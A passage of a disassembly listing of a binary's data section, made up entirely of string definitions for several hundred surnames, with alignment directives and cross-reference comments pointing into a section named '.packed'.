aGruner		db 'Gruner',0           ; DATA XREF: .packed:0042F324o
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: .packed:0042F320o
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: .packed:0042F31Co
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: .packed:0042F318o
		align 10h
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: .packed:0042F314o
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: .packed:0042F310o
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: .packed:0042F30Co
aGozzi		db 'Gozzi',0            ; DATA XREF: .packed:0042F308o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: .packed:0042F304o
		align 10h
aGoodearl	db 'Goodearl',0         ; DATA XREF: .packed:0042F300o
		align 4
aGood		db 'Good',0             ; DATA XREF: .packed:0042F2FCo
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: .packed:0042F2F8o
		align 10h
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: .packed:0042F2F4o
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: .packed:0042F2F0o
aGlegg		db 'Glegg',0            ; DATA XREF: .packed:0042F2ECo
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: .packed:0042F2E8o
aGist		db 'Gist',0             ; DATA XREF: .packed:0042F2E4o
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: .packed:0042F2E0o
		align 4
aGill		db 'Gill',0             ; DATA XREF: .packed:0042F2DCo
		align 10h
aGili		db 'Gili',0             ; DATA XREF: .packed:0042F2D8o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: .packed:0042F2D4o
aGibson		db 'Gibson',0           ; DATA XREF: .packed:0042F2D0o
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: .packed:0042F2CCo
aGhorai		db 'Ghorai',0           ; DATA XREF: .packed:0042F2C8o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: .packed:0042F2C4o
aGeorgi		db 'Georgi',0           ; DATA XREF: .packed:0042F2C0o
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: .packed:0042F2BCo
		align 4
aGeller		db 'Geller',0           ; DATA XREF: .packed:0042F2B8o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: .packed:0042F2B4o
aGarman		db 'Garman',0           ; DATA XREF: .packed:0042F2B0o
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: .packed:0042F2ACo
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: .packed:0042F2A8o
aGalwey		db 'Galwey',0           ; DATA XREF: .packed:0042F2A4o
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: .packed:0042F2A0o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: .packed:0042F29Co
		align 10h
aGabrielli	db 'Gabrielli',0        ; DATA XREF: .packed:0042F298o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: .packed:0042F294o
		align 4
aFurth		db 'Furth',0            ; DATA XREF: .packed:0042F290o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: .packed:0042F28Co
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: .packed:0042F288o
		align 10h
aFrye		db 'Frye',0             ; DATA XREF: .packed:0042F284o
		align 4
aFryberger	db 'Fryberger',0        ; DATA XREF: .packed:0042F280o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: .packed:0042F27Co
aFrisken	db 'Frisken',0          ; DATA XREF: .packed:0042F278o
aFriedland	db 'Friedland',0        ; DATA XREF: .packed:0042F274o
		align 10h
aFried		db 'Fried',0            ; DATA XREF: .packed:0042F270o
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: .packed:0042F26Co
		align 4
aFreid		db 'Freid',0            ; DATA XREF: .packed:0042F268o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: .packed:0042F264o
		align 4
aFranz		db 'Franz',0            ; DATA XREF: .packed:0042F260o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: .packed:0042F25Co
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: .packed:0042F258o
		align 10h
aFossi		db 'Fossi',0            ; DATA XREF: .packed:0042F254o
		align 4
aFossey		db 'Fossey',0           ; DATA XREF: .packed:0042F250o
		align 10h
aFortier	db 'Fortier',0          ; DATA XREF: .packed:0042F24Co
aFortes		db 'Fortes',0           ; DATA XREF: .packed:0042F248o
		align 10h
aForester	db 'Forester',0         ; DATA XREF: .packed:0042F244o
		align 4
aFolks		db 'Folks',0            ; DATA XREF: .packed:0042F240o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: .packed:0042F23Co
		align 4
aFlier		db 'Flier',0            ; DATA XREF: .packed:0042F238o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: .packed:0042F234o
aFisk		db 'Fisk',0             ; DATA XREF: .packed:0042F230o
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: .packed:0042F22Co
aFinnegan	db 'Finnegan',0         ; DATA XREF: .packed:0042F228o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: .packed:0042F224o
aFink		db 'Fink',0             ; DATA XREF: .packed:0042F220o
		align 10h
aField		db 'Field',0            ; DATA XREF: .packed:0042F21Co
		align 4
aFido		db 'Fido',0             ; DATA XREF: .packed:0042F218o
		align 10h
aFeuer		db 'Feuer',0            ; DATA XREF: .packed:0042F214o
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: .packed:0042F210o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: .packed:0042F20Co
		align 10h
aFernandes	db 'Fernandes',0        ; DATA XREF: .packed:0042F208o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: .packed:0042F204o
aFeldman	db 'Feldman',0          ; DATA XREF: .packed:0042F200o
aFejzo		db 'Fejzo',0            ; DATA XREF: .packed:0042F1FCo
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: .packed:0042F1F8o
		align 10h
aFates		db 'Fates',0            ; DATA XREF: .packed:0042F1F4o
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: .packed:0042F1F0o
		align 10h
aFarren		db 'Farren',0           ; DATA XREF: .packed:0042F1ECo
		align 4
aFarone		db 'Farone',0           ; DATA XREF: .packed:0042F1E8o
		align 10h
aFaris		db 'Faris',0            ; DATA XREF: .packed:0042F1E4o
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: .packed:0042F1E0o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: .packed:0042F1DCo
		align 10h
aFaioes		db 'Faioes',0           ; DATA XREF: .packed:0042F1D8o
		align 4
aFagan		db 'Fagan',0            ; DATA XREF: .packed:0042F1D4o
		align 10h
aFabbris	db 'Fabbris',0          ; DATA XREF: .packed:0042F1D0o
aEverett	db 'Everett',0          ; DATA XREF: .packed:0042F1CCo
aEuripides	db 'Euripides',0        ; DATA XREF: .packed:0042F1C8o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: .packed:0042F1C4o
		align 4
aEstes		db 'Estes',0            ; DATA XREF: .packed:0042F1C0o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: .packed:0042F1BCo
		align 4
aErez		db 'Erez',0             ; DATA XREF: .packed:0042F1B8o
		align 10h
aErdos		db 'Erdos',0            ; DATA XREF: .packed:0042F1B4o
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: .packed:0042F1B0o
		align 10h
aErbach		db 'Erbach',0           ; DATA XREF: .packed:0042F1ACo
		align 4
aEppling	db 'Eppling',0          ; DATA XREF: .packed:0042F1A8o
aEnyeart	db 'Enyeart',0          ; DATA XREF: .packed:0042F1A4o
aEncinas	db 'Encinas',0          ; DATA XREF: .packed:0042F1A0o
aElvis		db 'Elvis',0            ; DATA XREF: .packed:0042F19Co
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: .packed:0042F198o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: .packed:0042F194o
		align 10h
aEliasson	db 'Eliasson',0         ; DATA XREF: .packed:0042F190o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: .packed:0042F18Co
aEdward		db 'Edward',0           ; DATA XREF: .packed:0042F188o
		align 10h
aEdner		db 'Edner',0            ; DATA XREF: .packed:0042F184o
		align 4
aEdley		db 'Edley',0            ; DATA XREF: .packed:0042F180o
		align 10h
aEckel		db 'Eckel',0            ; DATA XREF: .packed:0042F17Co
		align 4
aEbeling	db 'Ebeling',0          ; DATA XREF: .packed:0042F178o
aEardley	db 'Eardley',0          ; DATA XREF: .packed:0042F174o
aDwyer		db 'Dwyer',0            ; DATA XREF: .packed:0042F170o
		align 10h
aDussault	db 'Dussault',0         ; DATA XREF: .packed:0042F16Co
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: .packed:0042F168o
aDuffin		db 'Duffin',0           ; DATA XREF: .packed:0042F164o
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: .packed:0042F160o
aDrinker	db 'Drinker',0          ; DATA XREF: .packed:0042F15Co
aDowsland	db 'Dowsland',0         ; DATA XREF: .packed:0042F158o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: .packed:0042F154o
		align 10h
aDoty		db 'Doty',0             ; DATA XREF: .packed:0042F150o
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: .packed:0042F14Co
		align 10h
aDorf		db 'Dorf',0             ; DATA XREF: .packed:0042F148o
		align 4
aDore		db 'Dore',0             ; DATA XREF: .packed:0042F144o
		align 10h
aDoonan		db 'Doonan',0           ; DATA XREF: .packed:0042F140o
		align 4
aDonner		db 'Donner',0           ; DATA XREF: .packed:0042F13Co
		align 10h
aDonahue	db 'Donahue',0          ; DATA XREF: .packed:0042F138o
aDoherty	db 'Doherty',0          ; DATA XREF: .packed:0042F134o
aDockery	db 'Dockery',0          ; DATA XREF: .packed:0042F130o
aDirksen	db 'Dirksen',0          ; DATA XREF: .packed:0042F12Co
aDionysius	db 'Dionysius',0        ; DATA XREF: .packed:0042F128o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: .packed:0042F124o
		align 4
aDifronzo	db 'Difronzo',0         ; DATA XREF: .packed:0042F120o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: .packed:0042F11Co
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: .packed:0042F118o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: .packed:0042F114o
		align 10h
aDFini		db 'D',27h,'fini',0     ; DATA XREF: .packed:0042F110o
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: .packed:0042F10Co
aDesombre	db 'Desombre',0         ; DATA XREF: .packed:0042F108o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: .packed:0042F104o
aDenham		db 'Denham',0           ; DATA XREF: .packed:0042F100o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: .packed:0042F0FCo
aDemusz		db 'Demusz',0           ; DATA XREF: .packed:0042F0F8o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: .packed:0042F0F4o
		align 4
aDeming		db 'Deming',0           ; DATA XREF: .packed:0042F0F0o
		align 10h
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: .packed:0042F0ECo
		align 4
aDelger		db 'Delger',0           ; DATA XREF: .packed:0042F0E8o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: .packed:0042F0E4o
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: .packed:0042F0E0o
		align 10h
aDefeciani	db 'Defeciani',0        ; DATA XREF: .packed:0042F0DCo
		align 4
aDees		db 'Dees',0             ; DATA XREF: .packed:0042F0D8o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: .packed:0042F0D4o
aDerousse	db 'deRousse',0         ; DATA XREF: .packed:0042F0D0o
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: .packed:0042F0CCo
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: .packed:0042F0C8o
		align 10h
aDegennaro	db 'DeGennaro',0        ; DATA XREF: .packed:0042F0C4o
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: .packed:0042F0C0o
aDavid		db 'David',0            ; DATA XREF: .packed:0042F0BCo
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: .packed:0042F0B8o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: .packed:0042F0B4o
		align 10h
aDas		db 'Das',0              ; DATA XREF: .packed:0042F0B0o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: .packed:0042F0ACo
aDapice		db 'Dapice',0           ; DATA XREF: .packed:0042F0A8o
		align 4
aDante		db 'Dante',0            ; DATA XREF: .packed:0042F0A4o
		align 10h
aDanieli	db 'Danieli',0          ; DATA XREF: .packed:0042F0A0o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: .packed:0042F09Co
aDaly		db 'Daly',0             ; DATA XREF: .packed:0042F098o
		align 4
aDaldalian	db 'Daldalian',0        ; DATA XREF: .packed:0042F094o
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: .packed:0042F090o
aCyders		db 'Cyders',0           ; DATA XREF: .packed:0042F08Co
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: .packed:0042F088o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: .packed:0042F084o
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: .packed:0042F080o
aCui		db 'Cui',0              ; DATA XREF: .packed:0042F07Co
aCroxton	db 'Croxton',0          ; DATA XREF: .packed:0042F078o
aCroxen		db 'Croxen',0           ; DATA XREF: .packed:0042F074o
		align 10h
aCroshaw	db 'Croshaw',0          ; DATA XREF: .packed:0042F070o
aCrocker	db 'Crocker',0          ; DATA XREF: .packed:0042F06Co
aCrawford	db 'Crawford',0         ; DATA XREF: .packed:0042F068o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: .packed:0042F064o
aCounter	db 'Counter',0          ; DATA XREF: .packed:0042F060o
aCosmides	db 'Cosmides',0         ; DATA XREF: .packed:0042F05Co
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: .packed:0042F058o
aCorey		db 'Corey',0            ; DATA XREF: .packed:0042F054o
		align 4
aConnors	db 'Connors',0          ; DATA XREF: .packed:0042F050o
aCondodina	db 'Condodina',0        ; DATA XREF: .packed:0042F04Co
		align 4
aConcino	db 'Concino',0          ; DATA XREF: .packed:0042F048o
aComstock	db 'Comstock',0         ; DATA XREF: .packed:0042F044o
		align 10h
aCompton	db 'Compton',0          ; DATA XREF: .packed:0042F03Co
					; .packed:0042F040o
aCollis		db 'Collis',0           ; DATA XREF: .packed:0042F038o
		align 10h
aCollard	db 'Collard',0          ; DATA XREF: .packed:0042F034o
aColella	db 'Colella',0          ; DATA XREF: .packed:0042F030o
aColdren	db 'Coldren',0          ; DATA XREF: .packed:0042F02Co
aCoito		db 'Coito',0            ; DATA XREF: .packed:0042F028o
		align 10h
aCoblenz	db 'Coblenz',0          ; DATA XREF: .packed:0042F024o
aClow		db 'Clow',0             ; DATA XREF: .packed:0042F020o
		align 10h
aClifton	db 'Clifton',0          ; DATA XREF: .packed:0042F01Co
aClement	db 'Clement',0          ; DATA XREF: .packed:0042F018o
aClark		db 'Clark',0            ; DATA XREF: .packed:0042F014o
		align 4
aClancy		db 'Clancy',0           ; DATA XREF: .packed:0042F010o
		align 10h
aClaffey	db 'Claffey',0          ; DATA XREF: .packed:0042F00Co
aCifarelli	db 'Cifarelli',0        ; DATA XREF: .packed:0042F008o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: .packed:0042F004o
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: .packed:0042F000o
		align 4
aChurch		db 'Church',0           ; DATA XREF: .packed:0042EFFCo
		align 10h
aChupasko	db 'Chupasko',0         ; DATA XREF: .packed:0042EFF8o
		align 4
aChu		db 'Chu',0              ; DATA XREF: .packed:0042EFF4o
aChristopher	db 'Christopher',0      ; DATA XREF: .packed:0042EFF0o
aChristie	db 'Christie',0         ; DATA XREF: .packed:0042EFECo
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: .packed:0042EFE8o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: .packed:0042EFE4o
		align 10h
aChristenson	db 'Christenson',0      ; DATA XREF: .packed:0042EFE0o
aChinman	db 'Chinman',0          ; DATA XREF: .packed:0042EFDCo
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: .packed:0042EFD8o
aChilds		db 'Childs',0           ; DATA XREF: .packed:0042EFD4o
		align 4
aChildress	db 'Childress',0        ; DATA XREF: .packed:0042EFD0o
		align 4
aChien		db 'Chien',0            ; DATA XREF: .packed:0042EFCCo
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: .packed:0042EFC8o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: .packed:0042EFC4o
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: .packed:0042EFC0o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: .packed:0042EFBCo
		align 4
aCharles	db 'Charles',0          ; DATA XREF: .packed:0042EFB8o
aChapman	db 'Chapman',0          ; DATA XREF: .packed:0042EFB4o
aCerioli	db 'Cerioli',0          ; DATA XREF: .packed:0042EFB0o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: .packed:0042EFACo
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: .packed:0042EFA8o
		align 10h
aCavanagh	db 'Cavanagh',0         ; DATA XREF: .packed:0042EFA4o
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: .packed:0042EFA0o
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: .packed:0042EF9Co
		align 10h
aCase		db 'Case',0             ; DATA XREF: .packed:0042EF98o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: .packed:0042EF94o
		align 10h
aCartmill	db 'Cartmill',0         ; DATA XREF: .packed:0042EF90o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: .packed:0042EF8Co
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: .packed:0042EF88o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: .packed:0042EF84o
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: .packed:0042EF80o
aCarlos		db 'Carlos',0           ; DATA XREF: .packed:0042EF7Co
		align 4
aCarlin		db 'Carlin',0           ; DATA XREF: .packed:0042EF78o
		align 10h
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: .packed:0042EF74o
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: .packed:0042EF70o
aCapursi	db 'Capursi',0          ; DATA XREF: .packed:0042EF6Co
aCappuccio	db 'Cappuccio',0        ; DATA XREF: .packed:0042EF68o
		align 10h
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: .packed:0042EF64o
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: .packed:0042EF60o
		align 4
aCaperton	db 'Caperton',0         ; DATA XREF: .packed:0042EF5Co
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: .packed:0042EF58o
aCanley		db 'Canley',0           ; DATA XREF: .packed:0042EF54o
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: .packed:0042EF50o
		align 10h
aCammelli	db 'Cammelli',0         ; DATA XREF: .packed:0042EF4Co
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: .packed:0042EF48o
		align 4
aCage		db 'Cage',0             ; DATA XREF: .packed:0042EF44o
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: .packed:0042EF40o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: .packed:0042EF3Co
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: .packed:0042EF38o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: .packed:0042EF34o
aBurridge	db 'Burridge',0         ; DATA XREF: .packed:0042EF30o
		align 4
aBurke		db 'Burke',0            ; DATA XREF: .packed:0042EF2Co
		align 10h
aBurdzy		db 'Burdzy',0           ; DATA XREF: .packed:0042EF28o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: .packed:0042EF24o
		align 10h
aBunton		db 'Bunton',0           ; DATA XREF: .packed:0042EF20o
		align 4
aBullard	db 'Bullard',0          ; DATA XREF: .packed:0042EF1Co
aBudding	db 'Budding',0          ; DATA XREF: .packed:0042EF18o
aBuchan		db 'Buchan',0           ; DATA XREF: .packed:0042EF14o
		align 10h
aBrzycki	db 'Brzycki',0          ; DATA XREF: .packed:0042EF10o
aBrook		db 'Brook',0            ; DATA XREF: .packed:0042EF0Co
		align 10h
aBroca		db 'Broca',0            ; DATA XREF: .packed:0042EF08o
		align 4
aBritz		db 'Britz',0            ; DATA XREF: .packed:0042EF04o
		align 10h
aBrinton	db 'Brinton',0          ; DATA XREF: .packed:0042EF00o
aBridges	db 'Bridges',0          ; DATA XREF: .packed:0042EEFCo
aBridgeman	db 'Bridgeman',0        ; DATA XREF: .packed:0042EEF8o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: .packed:0042EEF0o
					; .packed:0042EEF4o
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: .packed:0042EEECo
aBrenan		db 'Brenan',0           ; DATA XREF: .packed:0042EEE8o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: .packed:0042EEE4o
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: .packed:0042EEE0o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: .packed:0042EEDCo
aBradac		db 'Bradac',0           ; DATA XREF: .packed:0042EED8o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: .packed:0042EED4o
		align 10h
aBoyne		db 'Boyne',0            ; DATA XREF: .packed:0042EED0o
		align 4
aBoym		db 'Boym',0             ; DATA XREF: .packed:0042EECCo
		align 10h
aBoyland	db 'Boyland',0          ; DATA XREF: .packed:0042EEC8o
aBoyes		db 'Boyes',0            ; DATA XREF: .packed:0042EEC4o
		align 10h
aBoyajian	db 'Boyajian',0         ; DATA XREF: .packed:0042EEC0o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: .packed:0042EEBCo
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: .packed:0042EEB8o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: .packed:0042EEB4o
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: .packed:0042EEB0o
aBoudin		db 'Boudin',0           ; DATA XREF: .packed:0042EEACo
		align 4
aBotosh		db 'Botosh',0           ; DATA XREF: .packed:0042EEA8o
		align 10h
aBothman	db 'Bothman',0          ; DATA XREF: .packed:0042EEA4o
aBossi		db 'Bossi',0            ; DATA XREF: .packed:0042EEA0o
		align 10h
aBorden		db 'Borden',0           ; DATA XREF: .packed:0042EE9Co
		align 4
aBorack		db 'Borack',0           ; DATA XREF: .packed:0042EE98o
		align 10h
aBoorstin	db 'Boorstin',0         ; DATA XREF: .packed:0042EE94o
		align 4
aBoone		db 'Boone',0            ; DATA XREF: .packed:0042EE90o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: .packed:0042EE8Co
		align 10h
aBook		db 'Book',0             ; DATA XREF: .packed:0042EE88o
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: .packed:0042EE84o
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: .packed:0042EE80o
		align 10h
aBonham		db 'Bonham',0           ; DATA XREF: .packed:0042EE7Co
		align 4
aBoner		db 'Boner',0            ; DATA XREF: .packed:0042EE78o
		align 10h
aBologna	db 'Bologna',0          ; DATA XREF: .packed:0042EE74o
aBollinger	db 'Bollinger',0        ; DATA XREF: .packed:0042EE70o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: .packed:0042EE6Co
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: .packed:0042EE68o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: .packed:0042EE64o
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: .packed:0042EE60o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: .packed:0042EE5Co
		align 10h
aBloembergen	db 'Bloembergen',0      ; DATA XREF: .packed:0042EE58o
aBloch		db 'Bloch',0            ; DATA XREF: .packed:0042EE54o
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: .packed:0042EE50o
aBliss		db 'Bliss',0            ; DATA XREF: .packed:0042EE4Co
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: .packed:0042EE48o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: .packed:0042EE44o
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: .packed:0042EE40o
		align 10h
aBlackwell	db 'Blackwell',0        ; DATA XREF: .packed:0042EE3Co
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: .packed:0042EE38o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: .packed:0042EE34o
		align 10h
aBisema		db 'Bisema',0           ; DATA XREF: .packed:0042EE30o
		align 4
aBir		db 'Bir',0              ; DATA XREF: .packed:0042EE2Co
aBinion		db 'Binion',0           ; DATA XREF: .packed:0042EE28o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: .packed:0042EE24o
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: .packed:0042EE20o
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: .packed:0042EE1Co
aBetti		db 'Betti',0            ; DATA XREF: .packed:0042EE18o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: .packed:0042EE14o
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: .packed:0042EE10o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: .packed:0042EE0Co
		align 10h
aBernardo	db 'Bernardo',0         ; DATA XREF: .packed:0042EE08o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: .packed:0042EE04o
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: .packed:0042EE00o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: .packed:0042EDFCo
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: .packed:0042EDF8o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: .packed:0042EDF4o
aBellhouse	db 'Bellhouse',0        ; DATA XREF: .packed:0042EDF0o
		align 10h
aBellavance	db 'Bellavance',0       ; DATA XREF: .packed:0042EDECo
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: .packed:0042EDE8o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: .packed:0042EDE4o
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: .packed:0042EDE0o
		align 10h
aBelanger	db 'Belanger',0         ; DATA XREF: .packed:0042EDDCo
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: .packed:0042EDD8o
aBedford	db 'Bedford',0          ; DATA XREF: .packed:0042EDD4o
aBeder		db 'Beder',0            ; DATA XREF: .packed:0042EDD0o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: .packed:0042EDCCo
aBean		db 'Bean',0             ; DATA XREF: .packed:0042EDC8o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: .packed:0042EDC4o
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: .packed:0042EDC0o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: .packed:0042EDBCo
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: .packed:0042EDB8o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: .packed:0042EDB4o
		align 10h
aBatchelder	db 'Batchelder',0       ; DATA XREF: .packed:0042EDB0o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: .packed:0042EDACo
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: .packed:0042EDA8o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: .packed:0042EDA4o
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: .packed:0042EDA0o
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: .packed:0042ED9Co
aBarry		db 'Barry',0            ; DATA XREF: .packed:0042ED98o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: .packed:0042ED94o
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: .packed:0042ED90o
aBarneson	db 'Barneson',0         ; DATA XREF: .packed:0042ED8Co
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: .packed:0042ED88o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: .packed:0042ED84o
aBaranowska	db 'Baranowska',0       ; DATA XREF: .packed:0042ED80o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: .packed:0042ED7Co
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: .packed:0042ED78o
aBarabesi	db 'Barabesi',0         ; DATA XREF: .packed:0042ED74o
		align 4
aBanta		db 'Banta',0            ; DATA XREF: .packed:0042ED70o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: .packed:0042ED6Co
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: .packed:0042ED68o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: .packed:0042ED64o
		align 10h
aBaleja		db 'Baleja',0           ; DATA XREF: .packed:0042ED60o
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: .packed:0042ED5Co
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: .packed:0042ED58o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: .packed:0042ED54o
aBaglivo	db 'Baglivo',0          ; DATA XREF: .packed:0042ED50o
